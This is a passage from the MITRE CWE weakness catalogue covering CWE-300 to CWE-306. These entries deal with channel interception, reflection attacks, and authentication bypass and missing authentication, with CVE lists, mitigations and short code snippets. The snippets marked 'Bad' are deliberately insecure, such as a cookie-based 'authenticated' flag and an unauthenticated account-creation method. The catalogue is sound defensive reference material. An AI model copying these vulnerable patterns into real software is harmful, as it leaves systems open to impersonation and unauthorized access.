<b>CVE-2011-2014</b>	LDAP-over-SSL implementation does not check Certificate Revocation List (CRL), allowing spoofing using a revoked certificate. <a href="https://www.cve.org/CVERecord?id=CVE-2011-2014">https://www.cve.org/CVERecord?id=CVE-2011-2014</a>
<b>CVE-2011-0199</b>	Operating system does not check Certificate Revocation List (CRL) in some cases, allowing spoofing using a revoked certificate. <a href="https://www.cve.org/CVERecord?id=CVE-2011-0199">https://www.cve.org/CVERecord?id=CVE-2011-0199</a>
<b>CVE-2010-5185</b>	Antivirus product does not check whether certificates from signed executables have been revoked. <a href="https://www.cve.org/CVERecord?id=CVE-2010-5185">https://www.cve.org/CVERecord?id=CVE-2010-5185</a>
<b>CVE-2009-3046</b>	Web browser does not check if any intermediate certificates are revoked. <a href="https://www.cve.org/CVERecord?id=CVE-2009-3046">https://www.cve.org/CVERecord?id=CVE-2009-3046</a>
<b>CVE-2009-0161</b>	chain: Ruby module for OCSP misinterprets a response, preventing detection of a revoked certificate. <a href="https://www.cve.org/CVERecord?id=CVE-2009-0161">https://www.cve.org/CVERecord?id=CVE-2009-0161</a>
<b>CVE-2011-2701</b>	chain: incorrect parsing of replies from OCSP responders allows bypass using a revoked certificate. <a href="https://www.cve.org/CVERecord?id=CVE-2011-2701">https://www.cve.org/CVERecord?id=CVE-2011-2701</a>
<b>CVE-2011-0935</b>	Router can permanently cache certain public keys, which would allow bypass if the certificate is later revoked. <a href="https://www.cve.org/CVERecord?id=CVE-2011-0935">https://www.cve.org/CVERecord?id=CVE-2011-0935</a>
<b>CVE-2009-1358</b>	chain: OS package manager does not properly check the return value, allowing bypass using a revoked certificate. <a href="https://www.cve.org/CVERecord?id=CVE-2009-1358">https://www.cve.org/CVERecord?id=CVE-2009-1358</a>
<b>CVE-2009-0642</b>	chain: language interpreter does not properly check the return value from an OCSP function, allowing bypass using a revoked certificate.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2009-0642">https://www.cve.org/CVERecord?id=CVE-2009-0642</a>
<b>CVE-2008-4679</b>	chain: web service component does not call the expected method, which prevents a check for revoked certificates. <a href="https://www.cve.org/CVERecord?id=CVE-2008-4679">https://www.cve.org/CVERecord?id=CVE-2008-4679</a>
<b>CVE-2006-4410</b>	Certificate revocation list not searched for certain certificates. <a href="https://www.cve.org/CVERecord?id=CVE-2006-4410">https://www.cve.org/CVERecord?id=CVE-2006-4410</a>
<b>CVE-2006-4409</b>	Product cannot access certificate revocation list when an HTTP proxy is being used. <a href="https://www.cve.org/CVERecord?id=CVE-2006-4409">https://www.cve.org/CVERecord?id=CVE-2006-4409</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	948	SFP Secondary Cluster: Digital Certificate	888	2188

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to check for certificate revocation

### References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-300: Channel Accessible by Non-Endpoint

**Weakness ID** : 300

**Structure** : Simple

**Abstraction** : Class

### Description

The product does not adequately verify the identity of actors at both ends of a communication channel, or does not adequately ensure the integrity of the channel, in a way that allows the channel to be accessed or influenced by an actor that is not an endpoint.

### Extended Description




In order to establish secure communication between two parties, it is often important to adequately verify the identity of entities at each end of the communication channel. Inadequate or inconsistent verification may result in insufficient or incorrect identification of either communicating entity. This can have negative consequences such as misplaced trust in the entity at the other end of the channel. An attacker can leverage this by interposing between the communicating entities and masquerading as the original entity. In the absence of sufficient verification of identity, such an attacker can eavesdrop and potentially modify the communication between the original entities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		923	Improper Restriction of Communication Channel to Intended Endpoints	1700
PeerOf		602	Client-Side Enforcement of Server-Side Security	1271
PeerOf		603	Use of Client-Side Authentication	1275

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Alternate Terms

**Adversary-in-the-Middle / AITM** :

**Man-in-the-Middle / MITM** :

**Person-in-the-Middle / PITM** :

**Monkey-in-the-Middle** :

**Monster-in-the-Middle** :

**On-path attack** :

**Interception attack** :

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	
Access Control	Gain Privileges or Assume Identity	
<i>An attacker could pose as one of the entities and read or possibly modify the communication.</i>		

### Potential Mitigations

#### Phase: Implementation

Always fully authenticate both ends of any communications channel.

#### Phase: Architecture and Design

Adhere to the principle of complete mediation.

#### Phase: Implementation

A certificate binds an identity to a cryptographic key to authenticate a communicating party. Often, the certificate takes the encrypted form of the hash of the identity of the subject, the public key, and information such as time of issue or expiration using the issuer's private key. The certificate can be validated by deciphering the certificate with the issuer's public key. See also X.509 certificate signature chains and the PGP certification structure.

### Demonstrative Examples

#### Example 1:

In the Java snippet below, data is sent over an unencrypted channel to a remote server.

Example Language: Java

(Bad)

```

Socket sock;
PrintWriter out;
try {
    sock = new Socket(REMOTE_HOST, REMOTE_PORT);
    out = new PrintWriter(echoSocket.getOutputStream(), true);
    // Write data to remote host via socket output stream.
    ...
}

```

By eavesdropping on the communication channel or posing as the endpoint, an attacker would be able to read all of the transmitted data.

### Observed Examples

Reference	Description
<b>CVE-2014-1266</b>	chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing Adversary-in-the-Middle (AITM) attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint). <a href="https://www.cve.org/CVERecord?id=CVE-2014-1266">https://www.cve.org/CVERecord?id=CVE-2014-1266</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)	844	2162
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	956	SFP Secondary Cluster: Channel Attack	888	2191
MemberOf	C	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures	1344	2287

### Notes

#### Maintenance

The summary identifies multiple distinct possibilities, suggesting that this is a category that must be broken into more specific weaknesses.

#### Mapping

Use for Mapping: Discouraged (this CWE ID should not be used to map to real-world vulnerabilities). Rationale: CWE-300 is commonly misused for vulnerabilities in which the prerequisites for exploitation require the adversary to be in a privileged "in-the-middle" position. Comments: Consider root-cause weaknesses that allow adversary-in-the-middle attacks to happen.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Man-in-the-middle (MITM)
WASC	32		Routing Detour
The CERT Oracle Secure Coding Standard for Java (2011)	SEC06-J		Do not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
57	Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
94	Adversary in the Middle (AiTM)
466	Leveraging Active Adversary in the Middle Attacks to Bypass Same Origin Policy
589	DNS Blocking
590	IP Address Blocking
612	WiFi MAC Address Tracking
613	WiFi SSID Tracking
615	Evil Twin Wi-Fi Attack
662	Adversary in the Browser (AiTB)

## References

[REF-244]M. Bishop. "Computer Security: Art and Science". 2003. Addison-Wesley.

## CWE-301: Reflection Attack in an Authentication Protocol

**Weakness ID** : 301

**Structure** : Simple

**Abstraction** : Base

### Description

Simple authentication protocols are subject to reflection attacks if a malicious user can use the target machine to impersonate a trusted user.

### Extended Description



A mutual authentication protocol requires each party to respond to a random challenge by the other party by encrypting it with a pre-shared key. Often, however, such protocols employ the same pre-shared key for communication with a number of different entities. A malicious user or an attacker can easily compromise this protocol without possessing the correct key by employing a reflection attack on the protocol.

Reflection attacks capitalize on mutual authentication schemes in order to trick the target into revealing the secret shared between it and another valid user. In a basic mutual-authentication scheme, a secret is known to both the valid user and the server; this allows them to authenticate. In order that they may verify this shared secret without sending it plainly over the wire, they utilize a Diffie-Hellman-style scheme in which they each pick a value, then request the hash of that value as keyed by the shared secret. In a reflection attack, the attacker claims to be a valid user and requests the hash of a random value from the server. When the server returns this value and requests its own value to be hashed, the attacker opens another connection to the server. This time, the hash requested by the attacker is the value which the server requested in the first connection. When the server returns this hashed value, it is used in the first connection, authenticating the attacker successfully as the impersonated valid user.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1390	Weak Authentication	2087
PeerOf		327	Use of a Broken or Risky Cryptographic Algorithm	758

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	1010	Authenticate Actors	2217

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity  <i>The primary result of reflection attacks is successful authentication with a target machine -- as an impersonated user.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Use different keys for the initiator and responder or of a different type of challenge for the initiator and responder.

#### Phase: Architecture and Design

Let the initiator prove its identity before proceeding.

### Demonstrative Examples

#### Example 1:

The following example demonstrates the weakness.

*Example Language: C*

*(Bad)*

```
unsigned char *simple_digest(char *alg,char *buf,unsigned int len, int *olen) {
    const EVP_MD *m;
    EVP_MD_CTX ctx;
    unsigned char *ret;
    OpenSSL_add_all_digests();
    if (!(m = EVP_get_digestbyname(alg))) return NULL;
    if (!(ret = (unsigned char*)malloc(EVP_MAX_MD_SIZE))) return NULL;
    EVP_DigestInit(&ctx, m);
    EVP_DigestUpdate(&ctx,buf,len);
    EVP_DigestFinal(&ctx,ret,olen);
    return ret;
}
unsigned char *generate_password_and_cmd(char *password_and_cmd) {
    simple_digest("sha1",password,strlen(password_and_cmd)
    ...
    );
}
```

*Example Language: Java*

*(Bad)*

```
String command = new String("some cmd to execute & the password")
MessageDigest encr =
MessageDigest.getInstance("SHA");
encr.update(command.getBytes("UTF-8"));
byte[] digest = encr.digest();
```

### Observed Examples

Reference	Description
<b>CVE-2005-3435</b>	product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks. <a href="https://www.cve.org/CVERecord?id=CVE-2005-3435">https://www.cve.org/CVERecord?id=CVE-2005-3435</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	718	OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management	629	2126
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	956	SFP Secondary Cluster: Channel Attack	888	2191

### Notes

#### Maintenance

The term "reflection" is used in multiple ways within CWE and the community, so its usage should be reviewed.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Reflection attack in an auth protocol
OWASP Top Ten 2007	A7	CWE More Specific	Broken Authentication and Session Management

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
90	Reflection Attack in Authentication Protocol

### References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-302: Authentication Bypass by Assumed-Immutable Data

**Weakness ID** : 302

**Structure** : Simple

**Abstraction** : Base

### Description

The authentication scheme or implementation uses key data elements that are assumed to be immutable, but can be controlled or modified by the attacker.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*



Nature	Type	ID	Name	Page
ChildOf		807	Reliance on Untrusted Inputs in a Security Decision	1595
ChildOf		1390	Weak Authentication	2087

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1010	Authenticate Actors	2217

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Operation**

**Phase: Implementation**

Implement proper protection for immutable data (e.g. environment variable, hidden form fields, etc.)

### Demonstrative Examples

#### Example 1:

In the following example, an "authenticated" cookie is used to determine whether or not a user should be granted access to a system.

*Example Language: Java*

*(Bad)*

```
boolean authenticated = new Boolean(getCookieValue("authenticated")).booleanValue();
if (authenticated) {
    ...
}
```

Modifying the value of a cookie on the client-side is trivial, but many developers assume that cookies are essentially immutable.

### Observed Examples

Reference	Description
<b>CVE-2002-0367</b>	DebPloit <a href="https://www.cve.org/CVERecord?id=CVE-2002-0367">https://www.cve.org/CVERecord?id=CVE-2002-0367</a>
<b>CVE-2004-0261</b>	Web auth <a href="https://www.cve.org/CVERecord?id=CVE-2004-0261">https://www.cve.org/CVERecord?id=CVE-2004-0261</a>
<b>CVE-2002-1730</b>	Authentication bypass by setting certain cookies to "true". <a href="https://www.cve.org/CVERecord?id=CVE-2002-1730">https://www.cve.org/CVERecord?id=CVE-2002-1730</a>
<b>CVE-2002-1734</b>	Authentication bypass by setting certain cookies to "true". <a href="https://www.cve.org/CVERecord?id=CVE-2002-1734">https://www.cve.org/CVERecord?id=CVE-2002-1734</a>
<b>CVE-2002-2064</b>	Admin access by setting a cookie. <a href="https://www.cve.org/CVERecord?id=CVE-2002-2064">https://www.cve.org/CVERecord?id=CVE-2002-2064</a>
<b>CVE-2002-2054</b>	Gain privileges by setting cookie. <a href="https://www.cve.org/CVERecord?id=CVE-2002-2054">https://www.cve.org/CVERecord?id=CVE-2002-2054</a>
<b>CVE-2004-1611</b>	Product trusts authentication information in cookie. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1611">https://www.cve.org/CVERecord?id=CVE-2004-1611</a>
<b>CVE-2005-1708</b>	Authentication bypass by setting admin-testing variable to true.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2005-1708">https://www.cve.org/CVERecord?id=CVE-2005-1708</a>
<b>CVE-2005-1787</b>	Bypass auth and gain privileges by setting a variable. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1787">https://www.cve.org/CVERecord?id=CVE-2005-1787</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	2129
MemberOf	<b>C</b>	859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)	844	2162
MemberOf	<b>C</b>	949	SFP Secondary Cluster: Faulty Endpoint Authentication	888	2188
MemberOf	<b>C</b>	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures	1344	2287

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Authentication Bypass via Assumed-Immutable Data
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
The CERT Oracle Secure Coding Standard for Java (2011)	SEC02-J		Do not base security checks on untrusted sources

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
10	Buffer Overflow via Environment Variables
13	Subverting Environment Variable Values
21	Exploitation of Trusted Identifiers
31	Accessing/Intercepting/Modifying HTTP Cookies
39	Manipulating Opaque Client-based Data Tokens
45	Buffer Overflow via Symbolic Links
77	Manipulating User-Controlled Variables
274	HTTP Verb Tampering

## CWE-303: Incorrect Implementation of Authentication Algorithm

**Weakness ID** : 303

**Structure** : Simple

**Abstraction** : Base

### Description

The requirements for the product dictate the use of an established authentication algorithm, but the implementation of the algorithm is incorrect.

### Extended Description



This incorrect implementation may allow authentication to be bypassed.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1390	Weak Authentication	2087
ParentOf		304	Missing Critical Step in Authentication	700

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1010	Authenticate Actors	2217

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1211	Authentication Errors	2268

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

### Observed Examples

Reference	Description
<b>CVE-2003-0750</b>	Conditional should have been an 'or' not an 'and'. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0750">https://www.cve.org/CVERecord?id=CVE-2003-0750</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		947	SFP Secondary Cluster: Authentication Bypass	888	2187

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Authentication Logic Error

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
90	Reflection Attack in Authentication Protocol

## CWE-304: Missing Critical Step in Authentication

**Weakness ID** : 304

**Structure** : Simple

**Abstraction** : Base

### Description

The product implements an authentication technique, but it skips a step that weakens the technique.



### Extended Description

Authentication techniques should follow the algorithms that define them exactly, otherwise authentication can be bypassed or more easily subjected to brute force attacks.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		573	Improper Following of Specification by Caller	1222
ChildOf		303	Incorrect Implementation of Authentication Algorithm	699

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1010	Authenticate Actors	2217

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1211	Authentication Errors	2268

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences






Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	
Integrity	Gain Privileges or Assume Identity	
Confidentiality	Read Application Data	
	Execute Unauthorized Code or Commands	
<p><i>This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or allowing attackers to execute arbitrary code.</i></p>		

## Observed Examples

Reference	Description
<b>CVE-2004-2163</b>	Shared secret not verified in a RADIUS response packet, allowing authentication bypass by spoofing server replies. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2163">https://www.cve.org/CVERecord?id=CVE-2004-2163</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	2129
MemberOf		884	CWE Cross-section	884	2327
MemberOf		947	SFP Secondary Cluster: Authentication Bypass	888	2187
MemberOf		1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures	1344	2287

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Missing Critical Step in Authentication

## CWE-305: Authentication Bypass by Primary Weakness

**Weakness ID** : 305

**Structure** : Simple

**Abstraction** : Base


### Description

The authentication algorithm is sound, but the implemented mechanism can be bypassed as the result of a separate weakness that is primary to the authentication error.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1390	Weak Authentication	2087

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1010	Authenticate Actors	2217

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1211	Authentication Errors	2268

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

### Observed Examples

Reference	Description
<b>CVE-2002-1374</b>	The provided password is only compared against the first character of the real password. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1374">https://www.cve.org/CVERecord?id=CVE-2002-1374</a>
<b>CVE-2000-0979</b>	The password is not properly checked, which allows remote attackers to bypass access controls by sending a 1-byte password that matches the first character of the real password. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0979">https://www.cve.org/CVERecord?id=CVE-2000-0979</a>
<b>CVE-2001-0088</b>	Chain: Forum software does not properly initialize an array, which inadvertently sets the password to a single character, allowing remote attackers to easily guess the password and gain administrative privileges. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0088">https://www.cve.org/CVERecord?id=CVE-2001-0088</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	<b>C</b>	947	SFP Secondary Cluster: Authentication Bypass	888	2187

## Notes

### Relationship

Most "authentication bypass" errors are resultant, not primary.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Authentication Bypass by Primary Weakness

## CWE-306: Missing Authentication for Critical Function

**Weakness ID** : 306

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

### Extended Description

As data is migrated to the cloud, if access does not require authentication, it can be easier for attackers to access the data from anywhere on the Internet.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	<b>C</b>	287	Improper Authentication	657
ParentOf	<b>B</b>	288	Authentication Bypass Using an Alternate Path or Channel	664
ParentOf	<b>B</b>	322	Key Exchange without Entity Authentication	749

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf	<b>C</b>	287	Improper Authentication	657

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	1010	Authenticate Actors	2217

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	1211	Authentication Errors	2268

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Cloud Computing (*Prevalence = Undetermined*)

**Technology** : ICS/OT (*Prevalence = Often*)

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	
Other	Other	

*Exposing critical functionality essentially provides an attacker with the privilege level of that functionality. The consequences will depend on the associated functionality, but they can range from reading or modifying sensitive data, access to administrative or other privileged functionality, or possibly even execution of arbitrary code.*

## Detection Methods

### Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of custom authentication mechanisms.

### Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authentication. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authentication libraries. Generally, automated static analysis tools have difficulty detecting custom authentication schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an established identity; an automated technique that detects the absence of authentication may report false positives.

*Effectiveness = Limited*

### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

### Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial*

### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host Application Interface Scanner Fuzz Tester Framework-based Fuzzer

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Source Code



According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = SOAR Partial*

#### **Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

#### **Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

*Effectiveness = High*

### **Potential Mitigations**

#### **Phase: Architecture and Design**

Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.

#### **Phase: Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

#### **Phase: Architecture and Design**

Where possible, avoid implementing custom authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These may make it easier to provide a clear separation between authentication tasks and authorization tasks. In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.

#### **Phase: Architecture and Design**

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].

#### **Phase: Implementation**

## Phase: System Configuration

### Phase: Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

## Demonstrative Examples

### Example 1:

In the following Java example the method `createBankAccount` is used to create a `BankAccount` object for a bank management application.

*Example Language: Java*

*(Bad)*

```
public BankAccount createBankAccount(String accountNumber, String accountType,
String accountName, String accountSSN, double balance) {
    BankAccount account = new BankAccount();
    account.setAccountNumber(accountNumber);
    account.setAccountType(accountType);
    account.setAccountOwnerName(accountName);
    account.setAccountOwnerSSN(accountSSN);
    account.setBalance(balance);
    return account;
}
```

However, there is no authentication mechanism to ensure that the user creating this bank account object has the authority to create new bank accounts. Some authentication mechanisms should be used to verify that the user has the authority to create bank account objects.

The following Java code includes a boolean variable and method for authenticating a user. If the user has not been authenticated then the `createBankAccount` will not create the bank account object.

*Example Language: Java*

*(Good)*

```
private boolean isUserAuthentic = false;
// authenticate user,
// if user is authenticated then set variable to true
// otherwise set variable to false
public boolean authenticateUser(String username, String password) {
    ...
}
public BankAccount createNewBankAccount(String accountNumber, String accountType,
String accountName, String accountSSN, double balance) {
    BankAccount account = null;
    if (isUserAuthentic) {
        account = new BankAccount();
        account.setAccountNumber(accountNumber);
        account.setAccountType(accountType);
        account.setAccountOwnerName(accountName);
        account.setAccountOwnerSSN(accountSSN);
        account.setBalance(balance);
    }
    return account;
}
```

### Example 2:

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed.

Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

